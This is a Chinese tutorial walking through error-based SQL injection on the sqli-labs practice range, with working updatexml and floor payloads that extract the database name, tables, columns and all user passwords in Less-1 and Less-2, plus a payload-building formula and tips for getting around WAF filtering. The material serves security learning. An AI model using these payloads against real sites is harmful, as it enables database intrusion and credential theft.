《SQL注入进阶实验:基于sqli-Labs的报错注入(Error-Based Injection)实战解析》

本文为了知识更简单易懂,会用专业术语和通俗例子解释,篇幅较长,语言有些冗余,希望大家都能认认真真搞懂原理!

实验目的和要求

1.了解sql注入的现象,知道如何测试注入点。

2.理解常用的sql语句。

  1. 掌握实验网站的sql注入过程。

本文实验内容:

  1. 自搭sqli-labs平台。

(其实之前已经教了,这次是基于上次更深入的知识,强烈建议两篇文章一起联系学习怎么部署 sqli-Labs(SQL 注入练习靶场)及less1、2讲解_sqli-lab 没有congratulations! installed successfully-CSDN博客

  1. 使用XPath路径报错或floor冲突报错,完成Less-1或Less-2 sql报错注入过程

  2. 记录和分析整个实验过程,描述sql注入带来的危害

引言

在 SQL 注入的实战测试中,并非所有场景都会直接将查询结果回显在页面上。当常规的联合查询(Union Select)失效,且页面对错误信息处理不当时,**报错注入(Error-Based Injection)**便成了一把"曲线救国"的利器。

简单来说,报错注入是一种利用数据库错误机制来获取敏感数据的攻击技术。

其核心原理是:攻击者故意构造非法或冲突的 SQL 语句(如利用 floor() 随机数冲突、updatexml() 函数格式错误等),诱使数据库在报错的同时,将原本无法回显的查询结果(如数据库名、版本、用户权限等)包含在错误信息中返回给前端。这种"借刀杀人"的方式,让我们能够在没有直接数据回显的情况下,通过观察错误提示来窃取数据库中的关键信息。

就比如:

  • 正常情况:你问"用户Dumb的密码是多少?",网页回答"查询成功"。(什么也得不到)
  • 报错注入 :你问一个语法错误的问题,比如"请告诉我数据库名,否则就报错!"。数据库会回答:"XPATH syntax error: '~security~'"。

虽然它是在报错,但它已经把我们要的数据库名security告诉了我们。

前置准备:自搭sqli-labs平台

本文简单写,具体可跳转到:怎么部署 sqli-Labs(SQL 注入练习靶场)及less1、2讲解_sqli-lab 没有congratulations! installed successfully-CSDN博客

1.打开docker

2.拉取镜像(之前已经有了就不用了,文件已经保存到本地了,做下一步打开容器就行)

复制代码
docker pull acgpiano/sqli-labs

3.打开容器,生成一个容器(这个命令关闭了就销毁了,下次打开需要重新执行这个命令)

复制代码
docker run -dt --name sqli-labs -p 8081:80 --rm acgpiano/sqli-labs
  • -p 8081:80:表示访问本机的 8081 端口就能访问靶场。
  • --name sqli-labs:给容器起个名字叫 sqli-labs。
  • 执行命令之后的倒数第二行:xxxxxx。。。。这个是随机生成的容器

如果不想每次重新运行命令,有进阶玩法,但是建议还是用前面的怎么部署 sqli-Labs(SQL 注入练习靶场)及less1、2讲解_sqli-lab 没有congratulations! installed successfully-CSDN博客

4.访问与初始化

  1. 浏览器访问:http://127.0.0.1:8081
  2. 同样点击 "Setup/reset Database for labs" 进行初始化。
  3. 看到 "successfully" 即可开始练习。

less -1显示这个就搭建好了

核心原理

报错注入的核心在于"借力打力",即利用数据库自身的函数特性或语法检查机制,人为制造错误,并将我们需要查询的数据"夹带"在错误信息中返回。本次实验主要涉及以下两种常见的报错机制:

1. 基于 Floor 的随机数冲突报错

这种报错方式利用了 MySQL 在处理 GROUP BY 语句时的一个特性。当我们使用 floor(rand(0)*2) 作为分组依据时,会触发主键重复错误(Duplicate entry),从而将数据泄露出来。

其核心 Payload 结构如下:

复制代码
select count(*), floor(rand(0)*2)) as x from table group by x

拆解payload

1. from table

这部分很简单,就是指定要查询的数据表。在实际注入中,攻击者通常会选择一个数据量较大的系统表(如 information_schema.tables),以确保 GROUP BY 过程能循环足够多次,从而触发错误。

2. floor(rand(0)*2)) as x

这是制造混乱的核心。

  • rand(0) : rand() 函数生成一个 0 到 1 之间的随机小数。但括号里的 0 是一个固定的随机种子 。这意味着每次执行时,它都会产生一串完全相同 的"伪随机"数列,比如 0.12, 0.88, 0.65...
  • floor(... * 2) : 将 rand(0) 的结果乘以 2,再用 floor() 向下取整。这会把 0 到 1 之间的小数变成只有 01 的整数。
  • as x : 给这个计算结果起个别名 x

所以,floor(rand(0)*2) 的作用就是生成一个可预测的、由 0 和 1 组成的序列,例如:0, 1, 1, 0, 1...

3. group by x

这是触发错误的"机关"。
GROUP BY x 的作用是将查询结果按照 x 列的值进行分组。为了完成分组,MySQL 会在内存中创建一个临时表 ,并将 x 列作为这个临时表的主键(Key) 。主键的特性是值必须唯一

4. select count(*)

这个函数的作用是统计每个分组里有多少行数据。它和 group by x 配合,最终想得到的结果是类似这样的:

  • x=0 的组,有 N 行。
  • x=1 的组,有 M 行。
🔥 为什么会报错?

错误就发生在 MySQL 尝试填充这个临时表的过程中。整个过程是这样的:

  1. 第一次计算 :MySQL 读取原表的第一行数据,计算 x 的值。根据 floor(rand(0)*2) 的固定序列,第一次算出来是 0
  2. 检查临时表 :MySQL 去临时表里查,发现主键 0 还不存在。
  3. 第二次计算(关键!) :在准备把 (x=0, count=1) 这条记录插入 临时表时,MySQL 会再次计算 x 的值。这时,floor(rand(0)*2) 已经走到了序列的下一个数,结果是 1
  4. 制造冲突 :于是,MySQL 实际插入临时表的记录是 (x=1, count=1)
  5. 继续循环 :接着处理原表的第二行数据,计算 x,得到序列里的下一个数 1
  6. 再次检查 :去临时表查,发现主键 1 已经存在了(就是上一步误打误撞插进去的)。
  7. 触发错误 :因为主键 1 重复了,MySQL 无法插入新数据,于是立刻抛出 Duplicate entry '1' for key 错误,注入攻击成功。

简单来说,就是 GROUP BY 在"检查"和"插入"时两次计算了随机数,而 RAND(0) 的伪随机性导致这两次计算结果不一致,最终骗过了 MySQL,让它自己制造了主键冲突。

💡 如何获取数据?

攻击者会把想查询的数据(比如数据库名)用 CONCAT() 函数拼接到 x 的值里,Payload 会变成这样:

复制代码
select count(*), concat((select database()), floor(rand(0)*2)) as x from information_schema.tables group by x

当主键冲突发生时,报错信息就会变成:
Duplicate entry 'security1' for key

这里的 security 就是被成功窃取到的数据库名。


原理深度解析:

  • 伪随机性rand(0) 中的 0 是一个固定的随机数种子。在 MySQL 中,使用固定种子生成的随机数序列是确定的(即每次执行结果一致)。floor(rand(0)*2) 会生成 0 和 1 的交替序列(通常是 0, 1, 1, 0...)。
  • 虚拟表冲突 :MySQL 在执行 GROUP BY 时,会在内存中建立一张虚拟表,并以 GROUP BY 后面的字段(这里是 x)作为主键。
  • 报错触发 :当数据库尝试将数据插入这张虚拟表时,由于 floor(rand(0)*2) 的值在查询和插入过程中被重复计算且发生变化(例如先算出是 0,插入时发现变成了 1),导致数据库认为出现了重复的主键值(Duplicate entry)。正是这个"重复键值"的错误提示,将我们拼接在 concat() 函数中的敏感数据暴露了出来。
通俗解释:

想象一下,数据库正在做一道数学题,题目要求它把查到的数据填进一张**"临时表格"** 里。

这张表格有个死规定:第一列(主键)的数字绝对不能重复

我们利用 floor(rand(0)*2) 这个函数,其实是在给数据库"捣乱":

  1. 数据库先算了一下这个函数,结果是 0。它心想:"好,我把这条数据填进'0'号格子里。"
  2. 但在它正要填进去的那一瞬间,因为代码写得特殊,数据库又算了一遍这个函数。
  3. 因为 rand() 是随机的,第二次算出来变成了 1
  4. 数据库一看:"咦?'1'号格子里好像已经有数据了(或者它误以为有了),现在又要往里塞一条,冲突了!报错!"

结果: 数据库因为"手忙脚乱"算错了数,导致表格填重了,它在报错的时候,就会把我们要查的数据(比如密码)顺便喊出来。

2. 基于 XPath 语法的报错函数

这是 MySQL 5.1.5 版本之后引入的一种更为直接的报错方式,主要利用 updatexml()extractvalue() 这两个 XML 处理函数。

  • updatexml(xml_document, xpath_string, new_value)
  • extractvalue(xml_document, xpath_string)

原理深度解析:

这两个函数原本用于处理 XML 文档,其第二个参数要求必须是合法的 XPath 路径表达式 (通常以 / 开头)。

  • 制造非法路径 :我们在注入时,会故意在第二个参数中拼接非法字符(如 ~,即 0x7e),构造出类似 concat('~', (select database()), '~') 的字符串。
  • 错误回显 :当数据库尝试解析这个以 ~ 开头的字符串作为 XPath 路径时,会因为语法不符合规范而抛出 XPATH syntax error 异常。
  • 数据泄露 :MySQL 的错误机制非常"诚实",它会将导致错误的非法字符串原样显示在报错信息中。因此,我们查询到的数据库名、表名等数据,就会紧跟在 XPATH syntax error: 后面被打印在页面上。

注意updatexml()extractvalue() 在报错回显时有长度限制,通常只能显示 32 个字符,因此在查询长字段(如密码)时,往往需要配合 substr()limit 进行截取。

通俗解释:

updatexmlextractvalue 本来是数据库用来处理 XML 文件(一种类似 HTML 的代码格式)的工具。这个工具很死板,它规定:"路径"必须是以斜杠 / 开头的

我们利用这个死板的规矩来"碰瓷":

  1. 我们故意在路径的开头加一个波浪号 ~ (或者别的乱七八糟的符号)。
  2. 数据库一看:"这是什么鬼路径?我不认识!语法错误!"
  3. 但是,数据库在报错的时候有个习惯,它会说:"XPATH syntax error: '~这里是你刚才输入的内容...'"

结果: 我们把想查的密码藏在波浪号 ~ 后面,数据库因为不认识这个符号而报错,结果在骂我们的时候,不小心把密码也念出来了。

Less-1 实战(字符型+报错)

太棒了,我们终于到了动手实战的环节!针对 Less-1 这一关,我们需要先确认它是"字符型"注入,然后利用 updatexml 函数把数据库里的信息"骗"出来。

1. 判断注入点与闭合方式

首先,我们在浏览器中访问 http://localhost/sqli/Less-1/?id=1,页面正常显示了用户 "Dumb" 的信息。这说明 id 参数是可控的。

接下来,我们需要判断注入类型(数字型还是字符型)以及闭合方式。

  • 测试 Payload?id=1'
  • 现象 :报错 You have an error in your SQL syntax... near ''1'' LIMIT 0,1'。
  • 分析 :报错信息显示 SQL 语句中多了一个单引号,说明后台的 SQL 语句是用单引号包裹的(即 SELECT * FROM users WHERE id='$id' LIMIT 0,1)。因此,这是一个字符型注入 ,我们需要用单引号 ' 来闭合。

为了验证并消除语法错误,我们使用注释符 --+(在 URL 中 + 代表空格)。

  • 测试 Payload?id=1'--+
  • 现象:页面恢复正常,显示用户信息。
  • 结论 :注入点存在,闭合方式为单引号 '

2. 使用 updatexml 进行报错注入

在 Less-1 中,虽然可以使用联合查询(Union Select),但为了练习报错注入,我们使用 updatexml() 函数。该函数要求第二个参数必须是合法的 XPath 格式,否则就会报错并回显错误信息。

Payload 构造公式:

复制代码
?id=1' and updatexml(1, concat(0x7e, (查询语句), 0x7e), 1) --+
  • 0x7e~ 的十六进制表示,用来在报错信息中突出显示数据。

通俗解释

你可以把 updatexml 想象成一个**"找茬"**的游戏。

1. 函数的基本长相

首先,看它的标准格式:

复制代码
updatexml(目标文档, 路径, 新值)

它原本的作用是:在一个 XML 文档里,找到指定的路径,把里面的内容更新成新值。

但在 SQL 注入里,我们根本不在乎 它原本的更新功能,我们只在乎它**"找不到路径时会报错"**这个特性。

2. 核心套路:故意指错路

数据库规定:这个函数的第二个参数(路径),必须是一个合法的 XML 路径(通常以 / 开头,比如 /user/name)。

我们的注入思路是:

我偏不给你合法的路径!我故意给你一串乱七八糟的东西,让你报错!

但是,我不能只给乱七八糟的东西,那样你就只知道我乱填了。我要把我想偷的数据(比如数据库名),藏在这串乱七八糟的东西里

3. 拆解 Payload

让我们来看刚才那个复杂的 Payload:

复制代码
updatexml(1, concat(0x7e, database(), 0x7e), 1)
第一部分:1
  • 意思:这是第一个参数(目标文档)。
  • 作用 :这里随便填个 1 就行,因为我们不是真的要更新文档,只是个占位符。
第二部分:concat(0x7e, database(), 0x7e)
  • 意思:这是第二个参数(路径),也是最关键的部分!
  • concat:这是一个拼接函数,把后面的东西连起来。
  • 0x7e :这是符号 ~ 的十六进制代码。为什么用它?因为 ~ 不是合法的 XML 路径字符,只要有它,数据库就会报错。它就像一个"引爆器"。
  • database():这是我们要偷的数据(当前数据库的名字)。
  • 整体意思 :把 ~ + 数据库名 + ~ 拼在一起。
    • 比如拼出来是:~security~
    • 数据库一看:"这玩意儿不是路径啊!报错!"
第三部分:1
  • 意思:这是第三个参数(新值)。
  • 作用 :同样随便填个 1,占位用的。
4. 最终效果:借刀杀人

当我们运行这行代码时,发生了什么?

  1. 数据库执行 updatexml
  2. 它检查第二个参数,发现是 ~security~
  3. 数据库心想:"这不符合 XML 格式啊!我要报错!"
  4. 于是它抛出错误:"XPATH syntax error: '~security~'"

结果 :数据库在骂我们"语法错误"的时候,不小心把我们藏在里面的 security(数据库名)念出来了。

总结

所以,updatexml 注入的本质就是:
故意给函数喂一个非法的路径(~),把想查的数据(database())夹在中间,骗数据库把数据吐在报错信息里。

第一步:获取数据库名和版本

我们尝试获取当前数据库名(database())和版本(version())。

  • Payload

    复制代码
    ?id=1' and updatexml(1, concat(0x7e, database(), 0x7e, version()), 1) --+

    嫌弃payload记不住?跳转到下面教你"搭积木法"

  • 回显结果 :页面报错 XPATH syntax error: '~security5.5.44~'

  • 分析 :我们成功获取到数据库名为 security ,MySQL 版本为 5.5.44

第二步:获取表名

知道了数据库名是 security,我们需要查询该库下的所有表名。这里利用 information_schema.tables 系统表。

  • Payload

    复制代码
    ?id=1' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='security'), 0x7e), 1) --+
  • 回显结果XPATH syntax error: '~emails,referers,uagents,users~'

  • 分析 :我们获取到了四个表名,其中 users 表看起来最像存储用户账号密码的地方。

第三步:获取字段名

接下来,我们需要知道 users 表里有哪些列。利用 information_schema.columns 系统表。

  • Payload

    复制代码
    ?id=1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1) --+
  • 回显结果XPATH syntax error: '~id,username,password~'

  • 分析 :我们成功获取到了关键字段:usernamepassword

第四步:获取数据内容

最后,我们直接从 users 表中提取数据。

  • Payload

    复制代码
    ?id=1' and updatexml(1, concat(0x7e, (select group_concat(username, 0x3a, password) from users), 0x7e), 1) --+

    (注:0x3a 是冒号 : 的十六进制,用于分隔用户名和密码)

  • 回显结果XPATH syntax error: '~Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword...~'

  • 分析:我们成功拿到了所有用户的账号和密码!


实战小结

通过 Less-1 的实战,我们发现即使页面没有直接的数据显示位(或者为了隐蔽),只要数据库开启了错误回显,利用 updatexml 函数构造非法 XPath 路径,就能让数据库"自曝其短",将敏感数据通过报错信息发送给我们。

Less-2 实战(数字型+报错)

太棒了,我们来到了 Less-2!这一关是对你上一关学习成果的最好检验,因为它不仅简单,而且能让你深刻理解"数字型注入"和"字符型注入"最本质的区别。

简单来说,Less-2 就是 Less-1 的"省力版"。

1. 核心区别:不需要闭合引号

在 Less-1 中,我们像个小心翼翼的拆弹专家,必须用单引号 ' 去闭合后台 SQL 语句中已有的引号,否则就会报错。

但在 Less-2 中,情况完全不同。后台的 SQL 语句是这样的:

复制代码
SELECT * FROM users WHERE id=$id LIMIT 0,1

注意看 id=$id,这里的 $id 没有被任何引号包裹。这意味着,后台代码直接把用户输入的内容当作数字来处理。

实战验证:

  • Less-1 的测试?id=1' → 页面报错。因为后台变成了 WHERE id='1'',多了一个引号。
  • Less-2 的测试?id=1' → 页面也报错 。但报错信息是 ...near '' LIMIT 0,1',这说明单引号直接出现在了 LIMIT 前面,后台 SQL 变成了 WHERE id=1',语法错误。
  • Less-2 的正确姿势?id=1 → 页面正常。?id=1 and 1=1 → 页面正常。?id=1 and 1=2 → 页面内容消失(因为条件为假)。

结论 :Less-2 是数字型注入 。我们输入的数字会直接拼接到 SQL 语句中,不需要用引号闭合。这就像我们直接操作 SQL 语句本身,而不是在字符串里做文章。

2. 复用报错 Payload:一键通关

正因为不需要处理烦人的引号闭合,我们在 Less-1 中学到的 updatexml 报错注入大法,在这里用起来更加得心应手!

你只需要把 Less-1 的 Payload 拿过来,删掉开头的单引号 ',就可以直接使用了!

Payload 对比:

攻击目标 Less-1 (字符型) Payload Less-2 (数字型) Payload
获取数据库名 ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ ?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+
获取表名 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+ ?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
获取字段名 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+ ?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+
获取数据 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+ ?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

看到了吗?除了开头的 ',后面的部分完全一样 !如果你认真看了我链接的另一篇博客就肯定知道

总结

Less-2 给我们上了一堂生动的课:

  1. 判断注入类型是关键 :通过 id=1'id=1 and 1=2 等测试,我们能迅速判断出这是数字型注入。
  2. 原理一通百通 :无论是字符型还是数字型,报错注入的核心原理(利用 updatexml 函数制造错误)是通用的。
  3. 数字型更简单:因为它省去了闭合引号的麻烦,Payload 更加简洁,攻击效率更高。

现在,你已经掌握了两种最基础的注入类型,可以继续挑战更复杂的关卡了!

报错注入的代码怎么记

主包也是最讨厌记代码了,其实,你不需要背下每一个字符,只需要记住**"万能公式"** 和**"三个零件"**,到时候像搭积木一样拼起来就行了。

这部分还是需要学好数据库,目前主包已经开了个数据库专栏,但是还没有完整开始写内容,只写了个框架和学习路线,可以先关注支持一下,我后续会持续更新

🧩 核心公式(搭积木法)

不管是查数据库名、表名还是密码,结构永远是这样的:

复制代码
?id=1' and updatexml(1, 拼接(波浪号, 你要查的函数, 波浪号), 1) --+

你只需要把中间的**"你要查的函数"**换掉,其他的全都不用动!

🔧 只需要记这三个"零件"

1. 外壳:updatexml(1, ..., 1)
  • 怎么记 :你就记 updatexml 需要填 3 个参数。
  • 口诀"1、payload、1"
  • 第一个和第三个参数都是 1(占位符),只有中间那个是我们要填的"脏东西"。
2. 胶水:concat(0x7e, ..., 0x7e)
  • 怎么记concat 是拼接的意思。0x7e 是波浪号 ~ 的十六进制。
  • 为什么要记它 :因为 updatexml 要求路径必须以 / 开头,我们故意用 ~ 开头,数据库就会报错。
  • 简化记忆 :你就记 "夹心饼干"。波浪号是饼干,数据是中间的夹心。
  • 注:如果懒得打 0x7e,直接写 concat('~', ...) 也是一样的,看你喜欢哪种。
3. 馅料(核心查询语句)

这是唯一需要你根据情况变化的地方,但只要背下这几个常用函数就行:

你想偷什么? 馅料(替换进 concat 中间的部分) 备注
数据库名 database() 最常用
版本号 version() 看版本高低
当前用户 user() 看是不是 root
所有表名 (select group_concat(table_name) from information_schema.tables where table_schema='数据库名 ') 这里的 数据库名 换成你刚才查到的
所有列名 (select group_concat(column_name) from information_schema.columns where table_name='表名 ') 这里的 表名 换成你刚才查到的
数据内容 (select group_concat(username, 0x3a, password) from 表名) 0x3a 冒号 :写成':' ','用来分隔账号密码

🚀 实战拼装演示

假设我们要查数据库名

  1. 拿出外壳updatexml(1, [中间], 1)
  2. 拿出胶水concat(0x7e, [数据], 0x7e)
  3. 放入馅料database()
  4. 合体
    updatexml(1, concat(0x7e, database(), 0x7e), 1)

假设我们要查表名 (假设库名是 security):

  1. 拿出外壳updatexml(1, [中间], 1)
  2. 拿出胶水concat(0x7e, [数据], 0x7e)
  3. 放入馅料(select group_concat(table_name) from information_schema.tables where table_schema='security')
  4. 合体
    updatexml(1, concat(0x7e, (select ...), 0x7e), 1)

💡 偷懒小技巧(给新手的建议)

  1. 记不住 0x7e
    直接用单引号字符串 '~' 代替!
    updatexml(1, concat('~', database(), '~'), 1) ------ 这样是不是好记多了?效果是一样的!
  2. 记不住 group_concat
    这是为了把多行数据(比如好几个表名)合并成一行显示。如果不用它,报错信息可能只显示第一个表名。
  3. 实在记不住?
    准备一个记事本文件,把这些常用 Payload 存进去,用的时候复制粘贴。这也是黑客的常态,没人能背下所有代码!

总结: 只要记住 updatexml(1, concat('~', 查什么, '~'), 1) ,剩下的就是往里面填空!

floor和XPath,要根据情况选择(一般用后者)

虽然它们的目的都是"让数据库报错",但它们适用的数据库版本注入点类型 以及环境配置都有讲究。为了帮你做决定,我把这两个"武器"的优缺点做了一个对比表格,你可以直接参考:

⚔️ Floor 报错 vs. XPath 报错 对比

特性 Floor 报错 (floor(rand(0)*2)) XPath 报错 (updatexml/extractvalue)
适用版本 老旧版本 (MySQL < 8.0) (注:MySQL 8.0 以后修复了这个机制,基本失效) 主流版本 (MySQL 5.1.5 及以上) (目前绝大多数靶场和网站都适用)
注入类型 仅限联合查询 (UNION SELECT) 你必须能控制 SELECT 后面的内容。 几乎通用 可以用在 AND 后面,也可以用 UNION,甚至 UPDATE 语句中。
代码长度 很长,写起来麻烦,容易出错。 较短,结构清晰,容易记忆。
回显长度 相对较长,能显示更多数据。 有限制 (通常只显示 32 个字符),长数据需要截取。
推荐指数 ⭐⭐ (除非版本很老,否则不优先用) ⭐⭐⭐⭐⭐ (首选武器)

💡 实战中该如何选择?

1. 优先使用 updatexml (XPath 报错)

理由

  • 兼容性好:只要 MySQL 版本大于 5.1(现在的网站基本都是 5.5、5.7 甚至 8.0),它都能用。
  • 灵活 :不管注入点是数字型还是字符型,不管有没有 UNION,只要你能执行 SQL 语句,通常都能塞进 updatexml
  • 好记:就像我们之前说的"搭积木",公式很固定。

什么时候用它?

  • 当你发现页面报错,且你想快速拿到数据库名、表名时。
  • Less-1 / Less-2 这种题目,直接用 updatexml 秒杀。
2. 备选使用 Floor 报错

理由

  • 版本限制:这是最大的硬伤。现在的 MySQL 8.0 已经不支持这种利用方式了。
  • 格式限制 :它必须配合 UNION SELECT 使用,因为你需要构造一个虚拟表。如果题目过滤了 UNION,这招就废了。

什么时候用它?

  • 当你发现 updatexml 被 WAF(防火墙)拦截,或者被代码过滤了关键字时。
  • 当你确定目标是非常古老的系统(比如十年前的 CMS)。
  • 当你需要回显的数据比较长,不想用 substr 截取时(Floor 的回显通常比 XPath 长)。

📌 总结建议

在你的 sqli-labs Less-1 / Less-2 实验中:

  1. 直接用 updatexml
    • 因为这两个关卡的环境通常是 MySQL 5.x,且 updatexml 写法最简单,成功率最高。
  2. Floor 了解一下原理就行
    • 主要是为了应付 CTF 比赛或者老旧系统的渗透,平时写博客或实战,updatexml 是绝对的主力。

一句话口诀:
"能用 updatexml 就别用 floor,除非 updatexml 被禁了或者版本太老。"

结语

报错注入虽无需回显数据,但依赖错误提示且受长度限制,效率不如联合查询。然而,SQL注入的危害远超单一技术手法,它不仅是窃取用户密码、个人隐私的"数据泄露"通道,更可能导致恶意篡改账户权限、删除核心业务数据,甚至通过数据库提权获取服务器控制权,最终引发业务瘫痪与信任崩塌。

相关推荐
牛大兵1 小时前
播放网络摄像头视频支持ONVIF/RTSP
网络·python·音视频
永远不会出bug1 小时前
JAVA:WebSocket 「在线状态 + 强制挤下线通知」
网络·websocket·网络协议
Ting.~1 小时前
软件设计师备考笔记【day3】-数据库
数据库·笔记
Bert.Cai1 小时前
MySQL FLOOR()函数详解
数据库·mysql
小碗羊肉1 小时前
【MySQL | 第七篇】索引
数据库·mysql
juniperhan1 小时前
Flink 系列第20篇:Flink SQL 语法全解:从 DDL 到 DML,窗口、聚合、列转行一网打尽
大数据·数据仓库·分布式·sql·flink
m0_495496411 小时前
SQL中如何获取前N个最大值并排除自己_利用窗口函数限制
jvm·数据库·python
m0_740653221 小时前
mysql如何提取日期中的年份_使用year函数从日期中截取
jvm·数据库·python
jinanwuhuaguo1 小时前
反熵共同体——OpenClaw的宇宙热力学本体论(第十七篇)
大数据·人工智能·安全·架构·kotlin·openclaw